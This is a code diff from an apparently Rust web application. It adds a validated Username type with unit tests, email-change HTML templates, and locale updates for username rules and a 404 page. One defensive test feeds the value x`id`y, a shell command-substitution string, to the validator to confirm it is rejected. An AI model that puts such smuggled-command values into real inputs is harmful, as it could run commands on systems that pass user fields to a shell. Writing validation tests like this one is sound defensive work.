| 11 | +pub use username::Username; |
A
crates/rustwarden-core/src/types/username.rs
+261
-0
@@ -0,0 +1,261 @@
| 1 | +//! Validated local username. | |
| 2 | +//! | |
| 3 | +//! A [`Username`] is a validated user-facing handle enforcing GitHub-like | |
| 4 | +//! rules: | |
| 5 | +//! | |
| 6 | +//! - 3 to 39 characters (after trim) | |
| 7 | +//! - `[a-z0-9-]+` (lowercase ASCII letters, digits, hyphen) | |
| 8 | +//! - Neither starts nor ends with `-` | |
| 9 | +//! - No consecutive `--` | |
| 10 | +//! - Uppercase rejected — no silent fold (`Alice` → error, not `alice`) | |
| 11 | +//! - Not one of [`team_slug::RESERVED`] or [`EXTRA_RESERVED`] | |
| 12 | +//! (public [`Username::parse`] only; bootstrap uses the crate-private | |
| 13 | +//! `parse_allow_reserved`) | |
| 14 | +//! | |
| 15 | +//! Grandfathered accounts outside this charset remain valid at login; | |
| 16 | +//! only write boundaries (`UserService::create_user`, `update_profile`, | |
| 17 | +//! `register`) enforce the newtype. | |
| 18 | + | |
| 19 | +use crate::error::AppError; | |
| 20 | +use crate::types::team_slug; | |
| 21 | +use serde::{Deserialize, Serialize}; | |
| 22 | + | |
| 23 | +/// Extra reserved logins on top of [`team_slug::RESERVED`]. | |
| 24 | +pub const EXTRA_RESERVED: &[&str] = &["me", "explore"]; | |
| 25 | + | |
| 26 | +/// Validated local username. Construct only via [`Username::parse`] or, | |
| 27 | +/// for bootstrap paths, the crate-private `parse_allow_reserved`. | |
| 28 | +/// | |
| 29 | +/// # Examples | |
| 30 | +/// | |
| 31 | +/// ``` | |
| 32 | +/// use rustwarden_core::types::Username; | |
| 33 | +/// | |
| 34 | +/// assert!(Username::parse("alice").is_ok()); | |
| 35 | +/// assert!(Username::parse("Alice").is_err()); // uppercase rejected, not folded | |
| 36 | +/// ``` | |
| 37 | +#[derive(Debug, Clone, Eq, PartialEq, Hash, Serialize, Deserialize)] | |
| 38 | +#[serde(transparent)] | |
| 39 | +pub struct Username(String); | |
| 40 | + | |
| 41 | +impl Username { | |
| 42 | + /// Return `true` if `s` matches any name in [`team_slug::RESERVED`] or | |
| 43 | + /// [`EXTRA_RESERVED`], meaning it cannot be used as a public username. | |
| 44 | + /// | |
| 45 | + /// Used by [`Username::parse`] and by | |
| 46 | + /// [`OAuthService::generate_unique_username`] so the reserved-name list | |
| 47 | + /// lives in exactly one place. | |
| 48 | + pub(crate) fn is_reserved(s: &str) -> bool { | |
| 49 | + team_slug::RESERVED.contains(&s) || EXTRA_RESERVED.contains(&s) | |
| 50 | + } | |
| 51 | + | |
| 52 | + /// Parse a raw string into a `Username`. | |
| 53 | + /// | |
| 54 | + /// Trims ASCII/Unicode whitespace, then enforces charset, length, hyphen | |
| 55 | + /// rules, and reserved names. Uppercase is rejected (no silent fold) so | |
| 56 | + /// `Alice` and `alice` cannot collide. | |
| 57 | + /// Returns [`AppError::Validation`] (HTTP 400) on any rule violation. | |
| 58 | + /// | |
| 59 | + /// # Examples | |
| 60 | + /// | |
| 61 | + /// ``` | |
| 62 | + /// use rustwarden_core::types::Username; | |
| 63 | + /// | |
| 64 | + /// assert_eq!(Username::parse("alice").unwrap().as_str(), "alice"); | |
| 65 | + /// assert!(Username::parse("Alice").is_err()); | |
| 66 | + /// ``` | |
| 67 | + pub fn parse(raw: &str) -> Result<Self, AppError> { | |
| 68 | + let validated = Self::validate_charset_and_shape(raw)?; | |
| 69 | + if Self::is_reserved(validated.0.as_str()) { | |
| 70 | + return Err(AppError::Validation(format!( | |
| 71 | + "Username '{}' is reserved", | |
| 72 | + validated.0 | |
| 73 | + ))); | |
| 74 | + } | |
| 75 | + Ok(validated) | |
| 76 | + } | |
| 77 | + | |
| 78 | + /// Like [`Username::parse`] but allows reserved names. | |
| 79 | + /// | |
| 80 | + /// Used by bootstrap paths (`ensure_default_admin`, | |
| 81 | + /// `AdminConfig::validate`) where `ADMIN_USERNAME=admin` must remain | |
| 82 | + /// valid. All other rules (charset, length, hyphens) still apply. | |
| 83 | + pub(crate) fn parse_allow_reserved(raw: &str) -> Result<Self, AppError> { | |
| 84 | + Self::validate_charset_and_shape(raw) | |
| 85 | + } | |
| 86 | + | |
| 87 | + /// Core charset and shape validation shared by both parse variants. | |
| 88 | + fn validate_charset_and_shape(raw: &str) -> Result<Self, AppError> { | |
| 89 | + let s = raw.trim(); | |
| 90 | + if s.len() < 3 || s.len() > 39 { | |
| 91 | + return Err(AppError::Validation( | |
| 92 | + "Username must be 3-39 characters".into(), | |
| 93 | + )); | |
| 94 | + } | |
| 95 | + if s.starts_with('-') || s.ends_with('-') { | |
| 96 | + return Err(AppError::Validation( | |
| 97 | + "Username cannot start or end with '-'".into(), | |
| 98 | + )); | |
| 99 | + } | |
| 100 | + if s.contains("--") { | |
| 101 | + return Err(AppError::Validation( | |
| 102 | + "Username cannot contain consecutive '-'".into(), | |
| 103 | + )); | |
| 104 | + } | |
| 105 | + if !s | |
| 106 | + .chars() | |
| 107 | + .all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-') | |
| 108 | + { | |
| 109 | + return Err(AppError::Validation( | |
| 110 | + "Username must only contain lowercase letters, digits, and '-'".into(), | |
| 111 | + )); | |
| 112 | + } | |
| 113 | + Ok(Self(s.to_string())) | |
| 114 | + } | |
| 115 | + | |
| 116 | + /// Return the username as a string slice. | |
| 117 | + pub fn as_str(&self) -> &str { | |
| 118 | + &self.0 | |
| 119 | + } | |
| 120 | + | |
| 121 | + /// Consume the `Username` and return the inner `String`. | |
| 122 | + pub fn into_inner(self) -> String { | |
| 123 | + self.0 | |
| 124 | + } | |
| 125 | +} | |
| 126 | + | |
| 127 | +impl std::fmt::Display for Username { | |
| 128 | + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { | |
| 129 | + f.write_str(&self.0) | |
| 130 | + } | |
| 131 | +} | |
| 132 | + | |
| 133 | +#[cfg(test)] | |
| 134 | +mod tests { | |
| 135 | + use super::*; | |
| 136 | + | |
| 137 | + // --- happy path --- | |
| 138 | + | |
| 139 | + #[test] | |
| 140 | + fn valid_username() { | |
| 141 | + assert_eq!(Username::parse("alice").unwrap().as_str(), "alice"); | |
| 142 | + assert_eq!(Username::parse("squad-42").unwrap().as_str(), "squad-42"); | |
| 143 | + } | |
| 144 | + | |
| 145 | + #[test] | |
| 146 | + fn trims_whitespace() { | |
| 147 | + assert_eq!(Username::parse(" alice ").unwrap().as_str(), "alice"); | |
| 148 | + } | |
| 149 | + | |
| 150 | + #[test] | |
| 151 | + fn into_inner_returns_string() { | |
| 152 | + let u = Username::parse("alice").unwrap(); | |
| 153 | + assert_eq!(u.into_inner(), "alice".to_string()); | |
| 154 | + } | |
| 155 | + | |
| 156 | + #[test] | |
| 157 | + fn display_matches_inner() { | |
| 158 | + let u = Username::parse("squad-42").unwrap(); | |
| 159 | + assert_eq!(format!("{u}"), "squad-42"); | |
| 160 | + } | |
| 161 | + | |
| 162 | + // --- charset errors --- | |
| 163 | + | |
| 164 | + #[test] | |
| 165 | + fn rejects_backtick() { | |
| 166 | + assert!(Username::parse("x`id`y").is_err()); | |
| 167 | + } | |
| 168 | + | |
| 169 | + #[test] | |
| 170 | + fn rejects_underscore() { | |
| 171 | + assert!(Username::parse("john_doe").is_err()); | |
| 172 | + } | |
| 173 | + | |
| 174 | + #[test] | |
| 175 | + fn rejects_dot() { | |
| 176 | + assert!(Username::parse("alice.bob").is_err()); | |
| 177 | + } | |
| 178 | + | |
| 179 | + #[test] | |
| 180 | + fn rejects_uppercase() { | |
| 181 | + // No silent fold: Alice stays Alice and is rejected. | |
| 182 | + assert!(Username::parse("Alice").is_err()); | |
| 183 | + } | |
| 184 | + | |
| 185 | + // --- shape errors --- | |
| 186 | + | |
| 187 | + #[test] | |
| 188 | + fn rejects_too_short() { | |
| 189 | + assert!(Username::parse("ab").is_err()); | |
| 190 | + assert!(Username::parse("").is_err()); | |
| 191 | + assert!(Username::parse(" ").is_err()); | |
| 192 | + } | |
| 193 | + | |
| 194 | + #[test] | |
| 195 | + fn rejects_too_long() { | |
| 196 | + let too_long = "a".repeat(40); | |
| 197 | + assert!(Username::parse(&too_long).is_err()); | |
| 198 | + } | |
| 199 | + | |
| 200 | + #[test] | |
| 201 | + fn rejects_leading_hyphen() { | |
| 202 | + assert!(Username::parse("-alice").is_err()); | |
| 203 | + } | |
| 204 | + | |
| 205 | + #[test] | |
| 206 | + fn rejects_trailing_hyphen() { | |
| 207 | + assert!(Username::parse("alice-").is_err()); | |
| 208 | + } | |
| 209 | + | |
| 210 | + #[test] | |
| 211 | + fn rejects_double_hyphen() { | |
| 212 | + assert!(Username::parse("alice--bob").is_err()); | |
| 213 | + } | |
| 214 | + | |
| 215 | + // --- reserved --- | |
| 216 | + | |
| 217 | + #[test] | |
| 218 | + fn rejects_team_slug_reserved() { | |
| 219 | + for r in team_slug::RESERVED { | |
| 220 | + assert!(Username::parse(r).is_err(), "{r} should be reserved"); | |
| 221 | + } | |
| 222 | + } | |
| 223 | + | |
| 224 | + #[test] | |
| 225 | + fn rejects_extra_reserved() { | |
| 226 | + assert!(Username::parse("me").is_err()); | |
| 227 | + assert!(Username::parse("explore").is_err()); | |
| 228 | + } | |
| 229 | + | |
| 230 | + // --- parse_allow_reserved --- | |
| 231 | + | |
| 232 | + #[test] | |
| 233 | + fn allow_reserved_accepts_admin() { | |
| 234 | + assert!(Username::parse_allow_reserved("admin").is_ok()); | |
| 235 | + } | |
| 236 | + | |
| 237 | + #[test] | |
| 238 | + fn allow_reserved_still_rejects_uppercase() { | |
| 239 | + assert!(Username::parse_allow_reserved("Admin").is_err()); | |
| 240 | + } | |
| 241 | + | |
| 242 | + #[test] | |
| 243 | + fn allow_reserved_still_rejects_bad_charset() { | |
| 244 | + assert!(Username::parse_allow_reserved("admin_").is_err()); | |
| 245 | + } | |
| 246 | + | |
| 247 | + // --- grandfather: update without touching username --- | |
| 248 | + // (service-level; unit tested via username module) | |
| 249 | + // parse is NOT called on read paths — only on writes/renames. | |
| 250 | + | |
| 251 | + #[test] | |
| 252 | + fn exactly_39_chars_accepted() { | |
| 253 | + let exactly = "a".repeat(39); | |
| 254 | + assert!(Username::parse(&exactly).is_ok()); | |
| 255 | + } | |
| 256 | + | |
| 257 | + #[test] | |
| 258 | + fn exactly_3_chars_accepted() { | |
| 259 | + assert!(Username::parse("abc").is_ok()); | |
| 260 | + } | |
| 261 | +} |
A
crates/rustwarden-core/templates/emails/_email_change_style.html
+82
-0
@@ -0,0 +1,82 @@
| 1 | +<style> | |
| 2 | + body { | |
| 3 | + font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif; | |
| 4 | + line-height: 1.6; | |
| 5 | + color: #333; | |
| 6 | + max-width: 600px; | |
| 7 | + margin: 0 auto; | |
| 8 | + padding: 20px; | |
| 9 | + background-color: #f4f4f4; | |
| 10 | + } | |
| 11 | + .email-container { | |
| 12 | + background-color: #ffffff; | |
| 13 | + border-radius: 8px; | |
| 14 | + padding: 30px; | |
| 15 | + box-shadow: 0 2px 4px rgba(0,0,0,0.1); | |
| 16 | + } | |
| 17 | + .header { | |
| 18 | + text-align: center; | |
| 19 | + margin-bottom: 30px; | |
| 20 | + } | |
| 21 | + .logo { | |
| 22 | + font-size: 24px; | |
| 23 | + font-weight: bold; | |
| 24 | + color: #2563eb; | |
| 25 | + margin-bottom: 10px; | |
| 26 | + } | |
| 27 | + h1 { | |
| 28 | + color: #1f2937; | |
| 29 | + font-size: 24px; | |
| 30 | + margin-bottom: 20px; | |
| 31 | + } | |
| 32 | + .content { | |
| 33 | + margin-bottom: 30px; | |
| 34 | + } | |
| 35 | + .button-container { | |
| 36 | + text-align: center; | |
| 37 | + margin: 30px 0; | |
| 38 | + } | |
| 39 | + .button { | |
| 40 | + display: inline-block; | |
| 41 | + padding: 12px 30px; | |
| 42 | + background-color: #10b981; | |
| 43 | + color: #ffffff !important; | |
| 44 | + text-decoration: none; | |
| 45 | + border-radius: 6px; | |
| 46 | + font-weight: 600; | |
| 47 | + font-size: 16px; | |
| 48 | + } | |
| 49 | + .link-fallback { | |
| 50 | + margin-top: 20px; | |
| 51 | + padding: 15px; | |
| 52 | + background-color: #f3f4f6; | |
| 53 | + border-radius: 6px; | |
| 54 | + word-break: break-all; | |
| 55 | + font-size: 14px; | |
| 56 | + color: #6b7280; | |
| 57 | + } | |
| 58 | + .info { | |
| 59 | + margin-top: 20px; | |
| 60 | + padding: 15px; | |
| 61 | + background-color: #dbeafe; | |
| 62 | + border-left: 4px solid #3b82f6; | |
| 63 | + border-radius: 4px; | |
| 64 | + font-size: 14px; | |
| 65 | + } | |
| 66 | + .warning { | |
| 67 | + margin-top: 20px; | |
| 68 | + padding: 15px; | |
| 69 | + background-color: #fef3c7; | |
| 70 | + border-left: 4px solid #f59e0b; | |
| 71 | + border-radius: 4px; | |
| 72 | + font-size: 14px; | |
| 73 | + } | |
| 74 | + .footer { | |
| 75 | + margin-top: 30px; | |
| 76 | + padding-top: 20px; | |
| 77 | + border-top: 1px solid #e5e7eb; | |
| 78 | + font-size: 14px; | |
| 79 | + color: #6b7280; | |
| 80 | + text-align: center; | |
| 81 | + } | |
| 82 | +</style> |
A
crates/rustwarden-core/templates/emails/email_change_by_admin.html
+33
-0
@@ -0,0 +1,33 @@
| 1 | +<!DOCTYPE html> | |
| 2 | +<html lang="{{ locale }}"> | |
| 3 | +<head> | |
| 4 | + <meta charset="UTF-8"> | |
| 5 | + <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| 6 | + <title>{{ title }}</title> | |
| 7 | + {% include "emails/_email_change_style.html" %} | |
| 8 | +</head> | |
| 9 | +<body> | |
| 10 | + <div class="email-container"> | |
| 11 | + <div class="header"> | |
| 12 | + <div class="logo">{{ app_name }}</div> | |
| 13 | + </div> | |
| 14 | + | |
| 15 | + <h1>{{ title }}</h1> | |
| 16 | + | |
| 17 | + <div class="content"> | |
| 18 | + <p>{{ greeting }}</p> | |
| 19 | + <p>{{ intro }}</p> | |
| 20 | + <p>{{ details }}</p> | |
| 21 | + </div> | |
| 22 | + | |
| 23 | + <div class="info"> | |
| 24 | + <p>{{ support }}</p> | |
| 25 | + </div> | |
| 26 | + | |
| 27 | + <div class="footer"> | |
| 28 | + <p>{{ footer }}</p> | |
| 29 | + <p style="margin-top: 10px; font-size: 12px; color: #9ca3af;">© {{ current_year }} {{ app_name }}</p> | |
| 30 | + </div> | |
| 31 | + </div> | |
| 32 | +</body> | |
| 33 | +</html> |
A
crates/rustwarden-core/templates/emails/email_change_notice.html
+39
-0
@@ -0,0 +1,39 @@
| 1 | +<!DOCTYPE html> | |
| 2 | +<html lang="{{ locale }}"> | |
| 3 | +<head> | |
| 4 | + <meta charset="UTF-8"> | |
| 5 | + <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| 6 | + <title>{{ title }}</title> | |
| 7 | + {% include "emails/_email_change_style.html" %} | |
| 8 | +</head> | |
| 9 | +<body> | |
| 10 | + <div class="email-container"> | |
| 11 | + <div class="header"> | |
| 12 | + <div class="logo">{{ app_name }}</div> | |
| 13 | + </div> | |
| 14 | + | |
| 15 | + <h1>{{ title }}</h1> | |
| 16 | + | |
| 17 | + <div class="content"> | |
| 18 | + <p>{{ greeting }}</p> | |
| 19 | + <p>{{ intro }}</p> | |
| 20 | + <p><strong>{{ unchanged }}</strong></p> | |
| 21 | + <p>{{ report_intro }}</p> | |
| 22 | + </div> | |
| 23 | + | |
| 24 | + <div class="button-container"> | |
| 25 | + <a href="{{ report_url }}" class="button">{{ button_label }}</a> | |
| 26 | + </div> | |
| 27 | + | |
| 28 | + <div class="link-fallback"> | |
| 29 | + <p>{{ fallback_label }}</p> | |
| 30 | + <p style="margin-top: 10px; word-break: break-all;">{{ report_url }}</p> | |
| 31 | + </div> | |
| 32 | + | |
| 33 | + <div class="footer"> | |
| 34 | + <p>{{ footer }}</p> | |
| 35 | + <p style="margin-top: 10px; font-size: 12px; color: #9ca3af;">© {{ current_year }} {{ app_name }}</p> | |
| 36 | + </div> | |
| 37 | + </div> | |
| 38 | +</body> | |
| 39 | +</html> |
A
crates/rustwarden-core/templates/emails/email_change_reported_admin.html
+32
-0
@@ -0,0 +1,32 @@
| 1 | +<!DOCTYPE html> | |
| 2 | +<html lang="{{ locale }}"> | |
| 3 | +<head> | |
| 4 | + <meta charset="UTF-8"> | |
| 5 | + <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| 6 | + <title>{{ title }}</title> | |
| 7 | + {% include "emails/_email_change_style.html" %} | |
| 8 | +</head> | |
| 9 | +<body> | |
| 10 | + <div class="email-container"> | |
| 11 | + <div class="header"> | |
| 12 | + <div class="logo">{{ app_name }}</div> | |
| 13 | + </div> | |
| 14 | + | |
| 15 | + <h1>{{ title }}</h1> | |
| 16 | + | |
| 17 | + <div class="content"> | |
| 18 | + <p>{{ intro }}</p> | |
| 19 | + <p>{{ details }}</p> | |
| 20 | + </div> | |
| 21 | + | |
| 22 | + <div class="warning"> | |
| 23 | + <p>{{ not_blocked }}</p> | |
| 24 | + </div> | |
| 25 | + | |
| 26 | + <div class="footer"> | |
| 27 | + <p>{{ footer }}</p> | |
| 28 | + <p style="margin-top: 10px; font-size: 12px; color: #9ca3af;">© {{ current_year }} {{ app_name }}</p> | |
| 29 | + </div> | |
| 30 | + </div> | |
| 31 | +</body> | |
| 32 | +</html> |
A
crates/rustwarden-core/templates/emails/email_change_validation.html
+42
-0
@@ -0,0 +1,42 @@
| 1 | +<!DOCTYPE html> | |
| 2 | +<html lang="{{ locale }}"> | |
| 3 | +<head> | |
| 4 | + <meta charset="UTF-8"> | |
| 5 | + <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| 6 | + <title>{{ title }}</title> | |
| 7 | + {% include "emails/_email_change_style.html" %} | |
| 8 | +</head> | |
| 9 | +<body> | |
| 10 | + <div class="email-container"> | |
| 11 | + <div class="header"> | |
| 12 | + <div class="logo">{{ app_name }}</div> | |
| 13 | + </div> | |
| 14 | + | |
| 15 | + <h1>{{ title }}</h1> | |
| 16 | + | |
| 17 | + <div class="content"> | |
| 18 | + <p>{{ greeting }}</p> | |
| 19 | + <p>{{ intro }}</p> | |
| 20 | + </div> | |
| 21 | + | |
| 22 | + <div class="button-container"> | |
| 23 | + <a href="{{ confirm_url }}" class="button">{{ button_label }}</a> | |
| 24 | + </div> | |
| 25 | + | |
| 26 | + <div class="link-fallback"> | |
| 27 | + <p>{{ fallback_label }}</p> | |
| 28 | + <p style="margin-top: 10px; word-break: break-all;">{{ confirm_url }}</p> | |
| 29 | + </div> | |
| 30 | + | |
| 31 | + <div class="info"> | |
| 32 | + <p>{{ expires }}</p> | |
| 33 | + <p>{{ ignore_notice }}</p> | |
| 34 | + </div> | |
| 35 | + | |
| 36 | + <div class="footer"> | |
| 37 | + <p>{{ footer }}</p> | |
| 38 | + <p style="margin-top: 10px; font-size: 12px; color: #9ca3af;">© {{ current_year }} {{ app_name }}</p> | |
| 39 | + </div> | |
| 40 | + </div> | |
| 41 | +</body> | |
| 42 | +</html> |
M
crates/rustwarden-ui/locales/de.yml
+12
-2
@@ -18,6 +18,7 @@ login:
| 18 | 18 | username_placeholder: "Benutzername oder E-Mail" |
| 19 | 19 | password_placeholder: "Ihr Passwort" |
| 20 | 20 | username_placeholder_register: "Ihr Benutzername (min. 3 Zeichen)" |
| 21 | + username_pattern_register: "Nur Kleinbuchstaben, Ziffern und Bindestriche, 3 bis 39 Zeichen" | |
| 21 | 22 | password_placeholder_register: "Ihr Passwort (min. 8 Zeichen)" |
| 22 | 23 | email_placeholder: "ihre@email.de" |
| 23 | 24 | forgot_password: "Passwort vergessen?" |
@@ -194,7 +195,7 @@ profile:
| 194 | 195 | username: "Benutzername" |
| 195 | 196 | username_public: "Öffentlich sichtbar" |
| 196 | 197 | username_placeholder: "Ihr Benutzername" |
| 197 | - username_pattern: "Nur Buchstaben, Zahlen, Bindestriche und Unterstriche" | |
| 198 | + username_pattern: "Nur Kleinbuchstaben, Ziffern und Bindestriche, 3 bis 39 Zeichen" | |
| 198 | 199 | email: "E-Mail" |
| 199 | 200 | email_placeholder: "ihre@email.de" |
| 200 | 201 | save: "Änderungen speichern" |
@@ -205,7 +206,7 @@ profile:
| 205 | 206 | email_used_for: "Wird für die Anmeldung verwendet" |
| 206 | 207 | email_warning: "⚠️ Sie werden nach der Änderung abgemeldet" |
| 207 | 208 | email_change_info: "E-Mail-Änderungen erfordern aus Sicherheitsgründen eine erneute Anmeldung." |
| 208 | - username_help: "3-50 Zeichen (Buchstaben, Zahlen, -, _)" | |
| 209 | + username_help: "3 bis 39 Zeichen (a-z, 0-9, -)" | |
| 209 | 210 | additional_info: "Zusätzliche Informationen" |
| 210 | 211 | account_created: "Konto erstellt am" |
| 211 | 212 | roles: "Rollen" |
@@ -362,6 +363,7 @@ admin:
| 362 | 363 | back_to_list: "Zurück zur Liste" |
| 363 | 364 | username_label: "Benutzername" |
| 364 | 365 | username_placeholder: "benutzername" |
| 366 | + username_pattern: "Nur Kleinbuchstaben, Ziffern und Bindestriche, 3 bis 39 Zeichen" | |
| 365 | 367 | username_readonly_hint: "Der Benutzername kann nach der Erstellung nicht geändert werden" |
| 366 | 368 | email_label: "E-Mail" |
| 367 | 369 | email_placeholder: "benutzer@example.com" |
@@ -850,3 +852,11 @@ fediverse_invite_landing:
| 850 | 852 | reject_button: "Ablehnen" |
| 851 | 853 | already_decided: "Diese Einladung wurde bereits bearbeitet." |
| 852 | 854 | cannot_accept_note: "Um anzunehmen, müssen Sie über eine föderierte Identität angemeldet sein (Anmeldung von Ihrer Ursprungsinstanz). Sie können von diesem lokalen Konto aus ablehnen, aber die Annahme erfolgt über den AP-nativen Flow." |
| 855 | + | |
| 856 | +# 404-Seite (unbekannte Route) | |
| 857 | +http_errors: | |
| 858 | + not_found_title: "Seite nicht gefunden" | |
| 859 | + not_found_message: "Diese Adresse entspricht keiner Seite." | |
| 860 | + code_label: "Fehler 404" | |
| 861 | + home: "Zur Startseite" | |
| 862 | + login: "Anmelden" |
M
crates/rustwarden-ui/locales/en.yml
+12
-2
@@ -18,6 +18,7 @@ login:
| 18 | 18 | username_placeholder: "Username or email" |
| 19 | 19 | password_placeholder: "Your password" |
| 20 | 20 | username_placeholder_register: "Your username (min. 3 characters)" |
| 21 | + username_pattern_register: "Lowercase letters, digits and hyphens only, 3 to 39 characters" | |
| 21 | 22 | password_placeholder_register: "Your password (min. 8 characters)" |
| 22 | 23 | email_placeholder: "your@email.com" |
| 23 | 24 | forgot_password: "Forgot password?" |
@@ -194,7 +195,7 @@ profile:
| 194 | 195 | username: "Username" |
| 195 | 196 | username_public: "Publicly visible" |
| 196 | 197 | username_placeholder: "Your username" |
| 197 | - username_pattern: "Letters, numbers, dashes and underscores only" | |
| 198 | + username_pattern: "Lowercase letters, digits and hyphens only, 3 to 39 characters" | |
| 198 | 199 | email: "Email" |
| 199 | 200 | email_placeholder: "your@email.com" |
| 200 | 201 | save: "Save changes" |
@@ -205,7 +206,7 @@ profile:
| 205 | 206 | email_used_for: "Used for login" |
| 206 | 207 | email_warning: "⚠️ You will be logged out after modification" |
| 207 | 208 | email_change_info: "Email changes require reconnection for security reasons." |
| 208 | - username_help: "3-50 characters (letters, numbers, -, _)" | |
| 209 | + username_help: "3 to 39 characters (a-z, 0-9, -)" | |
| 209 | 210 | additional_info: "Additional Information" |
| 210 | 211 | account_created: "Account created on" |
| 211 | 212 | roles: "Roles" |
@@ -364,6 +365,7 @@ admin:
| 364 | 365 | back_to_list: "Back to list" |
| 365 | 366 | username_label: "Username" |
| 366 | 367 | username_placeholder: "username" |
| 368 | + username_pattern: "Lowercase letters, digits and hyphens only, 3 to 39 characters" | |
| 367 | 369 | username_readonly_hint: "Username cannot be changed after creation" |
| 368 | 370 | email_label: "Email" |
| 369 | 371 | email_placeholder: "user@example.com" |
@@ -863,3 +865,11 @@ fediverse_invite_landing:
| 863 | 865 | reject_button: "Reject" |
| 864 | 866 | already_decided: "This invitation has already been handled." |
| 865 | 867 | cannot_accept_note: "To accept, you must be signed in via a federated identity (login from your origin instance). You can reject from this local account, but accepting goes through the AP-native flow." |
| 868 | + | |
| 869 | +# 404 page (unknown route) | |
| 870 | +http_errors: | |
| 871 | + not_found_title: "Page not found" | |
| 872 | + not_found_message: "This address does not match any page." | |
| 873 | + code_label: "Error 404" | |
| 874 | + home: "Back to home" | |
| 875 | + login: "Sign in" |
M
crates/rustwarden-ui/locales/es.yml
+13
-3
@@ -18,6 +18,7 @@ login:
| 18 | 18 | username_placeholder: "Nombre de usuario o email" |
| 19 | 19 | password_placeholder: "Su contraseña" |
| 20 | 20 | username_placeholder_register: "Su nombre de usuario (mín. 3 caracteres)" |
| 21 | + username_pattern_register: "Solo minúsculas, números y guiones, de 3 a 39 caracteres" | |
| 21 | 22 | password_placeholder_register: "Su contraseña (mín. 8 caracteres)" |
| 22 | 23 | email_placeholder: "su@email.com" |
| 23 | 24 | forgot_password: "¿Olvidó su contraseña?" |
@@ -194,7 +195,7 @@ profile:
| 194 | 195 | username: "Nombre de usuario" |
| 195 | 196 | username_public: "Visible públicamente" |
| 196 | 197 | username_placeholder: "Su nombre de usuario" |
| 197 | - username_pattern: "Solo letras, números, guiones y guiones bajos" | |
| 198 | + username_pattern: "Solo minúsculas, números y guiones, de 3 a 39 caracteres" | |
| 198 | 199 | email: "Email" |
| 199 | 200 | email_placeholder: "su@email.com" |
| 200 | 201 | save: "Guardar cambios" |
@@ -205,7 +206,7 @@ profile:
| 205 | 206 | email_used_for: "Se utiliza para iniciar sesión" |
| 206 | 207 | email_warning: "⚠️ Será desconectado después de la modificación" |
| 207 | 208 | email_change_info: "Los cambios de correo electrónico requieren reconexión por razones de seguridad." |
| 208 | - username_help: "3-50 caracteres (letras, números, -, _)" | |
| 209 | + username_help: "De 3 a 39 caracteres (a-z, 0-9, -)" | |
| 209 | 210 | additional_info: "Información adicional" |
| 210 | 211 | account_created: "Cuenta creada el" |
| 211 | 212 | roles: "Roles" |
@@ -361,7 +362,8 @@ admin:
| 361 | 362 | title_edit: "Modificar un usuario" |
| 362 | 363 | back_to_list: "Volver a la lista" |
| 363 | 364 | username_label: "Nombre de usuario" |
| 364 | - username_placeholder: "nombre_usuario" | |
| 365 | + username_placeholder: "nombre-usuario" | |
| 366 | + username_pattern: "Solo minúsculas, números y guiones, de 3 a 39 caracteres" | |
| 365 | 367 | username_readonly_hint: "El nombre de usuario no se puede cambiar después de la creación" |
| 366 | 368 | email_label: "Email" |
| 367 | 369 | email_placeholder: "usuario@example.com" |
@@ -849,3 +851,11 @@ fediverse_invite_landing:
| 849 | 851 | reject_button: "Rechazar" |
| 850 | 852 | already_decided: "Esta invitación ya ha sido procesada." |
| 851 | 853 | cannot_accept_note: "Para aceptar, debe estar conectado mediante una identidad federada (inicio de sesión desde su instancia de origen). Puede rechazarla desde esta cuenta local, pero la aceptación pasa por el flujo nativo AP." |
| 854 | + | |
| 855 | +# Página 404 (ruta desconocida) | |
| 856 | +http_errors: | |
| 857 | + not_found_title: "Página no encontrada" | |
| 858 | + not_found_message: "Esta dirección no corresponde a ninguna página." | |
| 859 | + code_label: "Error 404" | |
| 860 | + home: "Volver al inicio" | |
| 861 | + login: "Iniciar sesión" |
M
crates/rustwarden-ui/locales/fr.yml
+13
-3
@@ -18,6 +18,7 @@ login:
| 18 | 18 | username_placeholder: "Nom d'utilisateur ou email" |
| 19 | 19 | password_placeholder: "Votre mot de passe" |
| 20 | 20 | username_placeholder_register: "Votre nom d'utilisateur (min. 3 caractères)" |
| 21 | + username_pattern_register: "Minuscules, chiffres et tirets uniquement, 3 à 39 caractères" | |
| 21 | 22 | password_placeholder_register: "Votre mot de passe (min. 8 caractères)" |
| 22 | 23 | email_placeholder: "votre@email.com" |
| 23 | 24 | forgot_password: "Mot de passe oublié ?" |
@@ -194,7 +195,7 @@ profile:
| 194 | 195 | username: "Nom d'utilisateur" |
| 195 | 196 | username_public: "Visible publiquement" |
| 196 | 197 | username_placeholder: "Votre nom d'utilisateur" |
| 197 | - username_pattern: "Lettres, chiffres, tirets et underscores uniquement" | |
| 198 | + username_pattern: "Minuscules, chiffres et tirets uniquement, 3 à 39 caractères" | |
| 198 | 199 | email: "Email" |
| 199 | 200 | email_placeholder: "votre@email.com" |
| 200 | 201 | save: "Enregistrer les modifications" |
@@ -205,7 +206,7 @@ profile:
| 205 | 206 | email_used_for: "Utilisée pour la connexion" |
| 206 | 207 | email_warning: "⚠️ Vous serez déconnecté après la modification" |
| 207 | 208 | email_change_info: "Les modifications d'email nécessitent une reconnexion pour des raisons de sécurité." |
| 208 | - username_help: "3-50 caractères (lettres, chiffres, -, _)" | |
| 209 | + username_help: "3 à 39 caractères (a-z, 0-9, -)" | |
| 209 | 210 | additional_info: "Informations supplémentaires" |
| 210 | 211 | account_created: "Compte créé le" |
| 211 | 212 | roles: "Rôles" |
@@ -364,7 +365,8 @@ admin:
| 364 | 365 | title_edit: "Modifier un utilisateur" |
| 365 | 366 | back_to_list: "Retour à la liste" |
| 366 | 367 | username_label: "Nom d'utilisateur" |
| 367 | - username_placeholder: "nom_utilisateur" | |
| 368 | + username_placeholder: "nom-utilisateur" | |
| 369 | + username_pattern: "Minuscules, chiffres et tirets uniquement, 3 à 39 caractères" | |
| 368 | 370 | username_readonly_hint: "Le nom d'utilisateur ne peut pas être modifié après création" |
| 369 | 371 | email_label: "Email" |
| 370 | 372 | email_placeholder: "utilisateur@example.com" |
@@ -964,3 +966,11 @@ fediverse_invite_landing:
| 964 | 966 | reject_button: "Refuser" |
